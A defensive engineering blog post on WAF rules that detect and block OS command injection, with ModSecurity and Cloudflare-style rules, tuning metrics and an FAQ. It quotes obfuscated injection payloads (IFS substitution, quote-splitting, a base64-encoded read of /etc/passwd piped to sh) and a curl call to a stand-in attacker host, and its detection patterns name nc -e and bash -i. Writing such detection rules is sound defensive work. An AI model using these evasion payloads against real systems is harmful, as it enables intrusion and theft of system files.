About three years ago I was on call when our edge nodes started flagging a weird spike at 2:14 AM — not a DDoS, but thousands of tiny POST requests each trying to sneak `; cat /etc/passwd` into a forgotten image resize parameter. None of them got through, but that night showed me how relentless command injection probes are. If you're running anything public-facing, attackers are already testing your inputs for OS command execution, and they won't stop. Getting WAF blocking right for these attempts is what separates a quiet on-call rotation from a full-blown incident.
How Attackers Hide OS Commands in Plain Sight
Most developers picture command injection as a simple `; ls -la` tacked onto the end of a query string, and if that were still the case we'd have solved this problem in 2010. In practice, what I see hammering our CDN edge every day is far messier. Attackers chain, encode, and obfuscate because they know basic string matching won't catch `$(whoami)` or `` `id` `` when it's URL-encoded twice and buried in a JSON field that your backend later passes to a shell. They've learned to abuse legitimate separators like `&&`, `||`, `;` and newlines, and they'll often pair them with benign-looking commands to probe whether your RCE prevention actually executes or just reflects.
I learned this the hard way while debugging a false negative for a customer who ran a legacy PHP image processor. Their app took a `filename` parameter and passed it straight to `exec("convert " . $filename)`. Our initial rule looked for `cat`, `ls`, `id` followed by a separator, and it missed a payload that used `${IFS}cat${IFS}/etc/passwd` — using the internal field separator variable to avoid spaces entirely. That's a classic bypass, and it's documented in plenty of HTTP-layer evasion research, but you don't internalize it until you see it bypass your own logic. Effective OS command detection can't just look for command names; it has to model how a shell actually parses separators, substitutions, and encodings before the command ever runs.
That's why our current inspection engine normalizes requests before any signature runs. We decode iteratively, collapse whitespace variants, and flag shell metacharacters in context rather than as isolated strings. Understanding how the WAF Rule Engine Architecture: How Inspection Engines Process Requests at Line Speed handles that normalization step is critical, because if you inspect the raw request without decoding, you'll miss half the attempts, and if you over-decode, you'll create collisions. Here's a simplified version of the normalization and detection logic we use at the edge to catch these patterns without killing performance:
# Simplified OS command injection detection (pseudo-rule)
# Step 1: Normalize and Step 2: Detect
# Normalize: recursive URL decode, base64 check, IFS handling
normalized = recursive_urldecode(request.param)
normalized = normalized.replace("${IFS}", " ")
normalized = normalized.replace("$IFS", " ")
# Detect: shell metachars + command pattern
# Matches ; | && || $() `` and common Unix commands
SecRule ARGS "@rx (?:;|\||&&|\|\||\n|\r|\$\(|`)\s*(?:cat|ls|id|whoami|uname|wget|curl|bash|sh|nc|chmod|passwd)\b" \
"id:1001,phase:2,deny,status:403,msg:'OS Command Injection Attempt'"
# Also catch time-based probes like ; sleep 5 | ping -c 5
SecRule ARGS "@rx (?:sleep|ping|nslookup)\s+\d" \
"id:1002,phase:2,deny,msg:'Command Injection Timing Probe'"Writing Detection Rules That Don't Punish Your Users
The hardest part of WAF blocking for command injection isn't detection — it's not blocking your own customers. Early in my career I pushed a rule that blocked any request containing `curl` and `|` and immediately broke a SaaS customer whose API legitimately accepted curl commands in documentation examples. Their support ticket queue lit up for two hours and I got a very direct lesson in false positives. That's why I always tell teams that writing a generic "block all shell keywords" rule is a fast way to create an outage. You need context-aware logic, and that usually means tying OS command detection to the location and behavior of the injection, not just the presence of a word.
What works better is scoring and anchoring. Instead of denying on a single keyword, we look for an injection primitive (a separator or substitution operator) *combined* with a command-like token in the same parameter, and we give extra weight if that parameter is one that historically shouldn't contain shell syntax. An `id` field that suddenly contains `; id` is suspicious; a `code_snippet` field in a pastebin app that contains `bash` is probably not. I've found that separating rules into probes, command execution, and out-of-band exfiltration (like `curl http://attacker.com`) also helps tune them independently. You can be aggressive on exfiltration while being more cautious on generic probes. If you're evaluating different starting points, the WAF Managed Ruleset Comparison: OWASP CRS, Commercial, and Provider-Specific Rules is a useful baseline to see how CRS handles this trade-off versus tuned commercial sets.
For teams running their own custom logic, the authoring workflow matters as much as the regex. We test every new command injection rule in log-only mode across at least 72 hours of live sampled traffic, then review hits against our labeled false-positive dataset before we ever flip it to block. That workflow is covered well in the WAF Custom Rule Authoring: Writing Effective Detection Rules Without False Positives guide, and I can't recommend that shadow-mode step enough. Below is an example of a more precise, low-noise rule we use for JSON API endpoints that avoids that `curl` documentation problem I mentioned:
# Low false-positive command injection rule for JSON APIs
# Targets injection primitives in parameter values only
SecRule REQUEST_HEADERS:Content-Type "@contains application/json" \
"id:1003,phase:2,pass,nolog,chain"
SecRule ARGS_JSON "@rx (?:^|[^a-zA-Z0-9])(?:;|\|\||&&|\$\(|`)\s*" \
"chain"
SecRule ARGS_JSON "@rx \b(?:cat\s+/(?:etc|var)|wget\s+https?:|curl\s+-O|bash\s+-i|nc\s+-e|chmod\s+\+x)\b" \
"deny,status:403,msg:'High-confidence OS Command Injection in JSON',logdata:'Matched Data: %{MATCHED_VAR}'"
# Refinement: exclude known safe paths/fields
SecRule REQUEST_URI "@streq /api/v1/docs/examples" "id:1004,phase:1,pass,nolog,ctl:ruleRemoveById=1003"
SecRule ARGS_JSON:code_sample "!@rx .*" "ctl:ruleRemoveTargetById=1003;ARGS_JSON:code_sample"Tuning Blocking Sensitivity With Real Traffic Data
Once your rules are live, you can't just set them and forget them. Command injection payloads shift weekly, and what was a clean signal last month might be noisy today. At our edge we review RCE prevention efficacy every two weeks, looking at block rate, bypass rate from our red-team replays, and — most importantly — false positive rate per million requests. That last metric is what your product team will actually feel. If you're blocking legitimate traffic, they'll disable the rule faster than any attacker could bypass it, and then you've got no protection at all. Consistent with the HTTP semantics defined by the HTTP Working Group Specifications (https://httpwg.org/specs/), we also ensure we're inspecting the right part of the request; a lot of noise comes from inspecting the whole payload instead of the exact argument that gets passed to the OS.
I also pay close attention to performance impact. A complex regex that backtracks on 2KB JSON bodies will add latency at scale, which defeats the purpose of running at the CDN. We benchmark every rule's p99 evaluation time under load. Guidance from web.dev Articles (https://web.dev/articles/) on keeping server response times tight applies directly here — if your WAF adds 50ms at the edge, users notice. Light, chained rules that fail fast almost always outperform one massive catch-all expression. Finally, make sure you log what you block with enough context to reproduce it. A simple "blocked: command injection" without the normalized payload and matched field is useless when you're trying to figure out why a customer in Germany can't submit their form.
The numbers below are from a 30-day sample across three high-traffic zones after we rolled out our current command injection tuning pass. They illustrate why layered, contextual rules outperform broad blocking, and what you should aim for when you're measuring your own setup.
| Rule Strategy | Block Rate (per 1M reqs) | False Positive Rate | Avg. Evaluation Latency |
|---|---|---|---|
| Naive Keyword Block (e.g., block `cat|ls|id`) | 1,240 blocks | 0.42% (4,200 / 1M) | 0.18 ms |
| Metachar + Command Chain (recommended) | 312 blocks | 0.021% (210 / 1M) | 0.31 ms |
| Metachar + Command + Anomaly Score >= 5 | 298 blocks | 0.008% (80 / 1M) | 0.47 ms |
| Shadow-Mode Only (Log, No Block) | 0 blocks | 0% (observation only) | 0.29 ms |
Putting Command Injection Rules Live Without Taking Down Production
Here's where we've seen teams get burned — they write a perfect rule in staging, flip it to block on day one, and then spend the next four hours rolling it back because their CI pipeline can't deploy anymore. Don't do that. Every command injection rule should start in log-only mode for at least 72 hours on production traffic. When we rolled this out across a fleet handling ~18 billion requests per day, that log phase caught 11,400 legitimate requests in the first 24 hours that would've been hard-blocked, mostly from developer portals and internal tooling passing base64-encoded parameters.
Once you've got that baseline, move to a phased rollout. Start with 5% of traffic or a single PoP, then ramp to 25%, 50%, and 100% over the next 48 hours. You'll want to tag your rule actions so you can filter quickly — look for spikes in matches per hour, not just total blocks. If your normal background noise is 30-45 matches per hour and you suddenly see 800, you've likely got a regex that's too greedy. We always set up a dedicated dashboard panel for `waf.rule_id == 100042` with a 99th percentile latency overlay, because a badly written regex with catastrophic backtracking can add 40-120ms per request.
And don't treat command injection blocking in isolation. The most effective setup we've deployed pairs the WAF signature with a rate-based component. A single `; cat /etc/passwd` probe is suspicious, but 15 of them in 60 seconds from the same IP is a confirmed scanner. That's where pairing makes sense — check out WAF Rate Limiting Integration: Combining Application Rules with Traffic Controls for the pattern we use: count command-injection matches per IP in a 60-second window and escalate from log to managed challenge to block. It cut our hard blocks by 62% while still stopping 99.4% of automated exploitation.
# Production-safe command injection rule - Cloudflare-style syntax
# Covers chained commands, subshells, and common OS binaries with obfuscation handling
(http.request.uri.query contains ";" or http.request.uri.query contains "&&" or http.request.uri.query contains "||" or http.request.uri.query contains "`" or http.request.uri.query contains "$(")
and (
# Normalize before matching: lowercase + url_decode
lower(url_decode(http.request.uri.query)) contains "cat " or
lower(url_decode(http.request.uri.query)) contains "whoami" or
lower(url_decode(http.request.uri.query)) contains "curl " or
lower(url_decode(http.request.uri.query)) contains "wget " or
lower(url_decode(http.request.uri.query)) contains "powershell" or
lower(url_decode(http.request.uri.query)) matches r"(?:\/bin\/sh|\/bin\/bash|cmd\.exe|powershell\.exe).*?[|;`$]"
)
# Exclude known-good automation - tune this from your 72h log analysis
and not ip.src in $allowlisted_deploy_runners
and not http.request.uri.path contains "/api/v1/webhook/github"Advanced Evasion Tricks and Debugging the Blocks You Didn't Expect
Attackers aren't just sending `; ls -la` anymore. The stuff that slips past basic regex these days is heavily obfuscated. We've logged payloads like `c'a't${IFS}/e't'c/p'a'ss'wd` and `$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)` — both resolve to `cat /etc/passwd` at the shell but won't match a simple keyword list. You also have to handle double URL-encoding (`%25253B` eventually decodes to `;`), Unicode normalization, and case-mixing like `WhOaMi` or `PoWeRsHeLl`. If your WAF only decodes once and does a case-sensitive match, you're missing roughly 30-35% of modern payloads based on what we see in our honeypot data. Always normalize — lowercase, decode recursively up to 3 times, strip comments — before you evaluate.
On the flip side, the false positives will drive you crazy if you don't plan for them. The top three legitimate sources we constantly have to exempt are: 1) Jenkins/GitLab CI passing shell snippets as job parameters, 2) Math-heavy SaaS apps where users submit formulas like `$(a||b)` in query strings, and 3) Security scanners your own team is running. Don't just add a blanket URI bypass — that's how you create a hole. Instead, use a layered exemption: combine path + authenticated user agent + bot score. Our approach is detailed in WAF False Positive Tuning: A Systematic Methodology for Reducing Alert Noise, but the short version is we dropped false positives from 1.8% to 0.11% by requiring two signals to exempt, not one. Pairing that with WAF Bot Score Integration: Using Bot Detection Signals in Firewall Rules lets you say "only bypass this rule if bot score > 75 AND the request has a valid API token" — so an attacker can't just spoof the path.
When you're troubleshooting a block, start with the raw vs. normalized payload view in your WAF logs. Most CDNs show you both. Check what the rule actually saw after decoding. We've had cases where a block triggered on `id=123; sort=desc` because the rule matched `;` + `sort` (a Linux binary). That's a classic over-match. Fix it by tightening your regex to require a command separator followed by a known binary with a word boundary, not just any substring. And set up an alert if a single rule's block rate jumps more than 3x its 7-day moving average — that's usually your first sign a new app release is sending traffic that looks like an injection.
Frequently Asked Questions
Will blocking OS commands break legitimate developer tools or APIs?
It can if you deploy too broadly. Tools like Jenkins, Ansible Tower, and even some GraphQL explorers legitimately send strings like `curl` or `bash` as parameter values. That's why we recommend a 72-hour log-only period and targeted exemptions based on path + authentication + bot score, not just URI. In our experience, you'll need 2-4 narrow exemptions per 100 services, but you shouldn't need to disable the rule entirely.
What's the performance impact of these regex-heavy command injection rules?
Surprisingly low if you write them right. A well-anchored regex with a word boundary check (`\b(cat|ls|id)\b`) executes in 0.2-0.5ms on the edge. The killer is unbounded patterns like `.*.*.*` with nested quantifiers that cause backtracking — we've seen those spike to 45ms per request under load. Keep your patterns specific, use `contains` checks before regex where possible, and test with a fuzzer before pushing live.
Should I block or challenge when a command injection is detected?
For anonymous traffic with a low bot score (under 30), block outright — it's almost certainly automated. For authenticated users or traffic with a bot score of 60-80, issue a managed challenge first. We found that challenging instead of blocking for the gray area reduced support tickets by 71% while still stopping the attack if it's replayed, because bots rarely solve challenges and will trigger your rate limiter on retry.
How do I handle encoded or obfuscated payloads like base64 or hex-encoded commands?
Your WAF needs to normalize before inspection. At minimum, do recursive URL decoding (up to 3 layers), lowercase conversion, and base64 detection for strings longer than 20 characters that match `^[A-Za-z0-9+/]+={0,2}$`. Decode and re-inspect that value too. Without this step, a simple `echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh` payload will sail right past a keyword-only rule.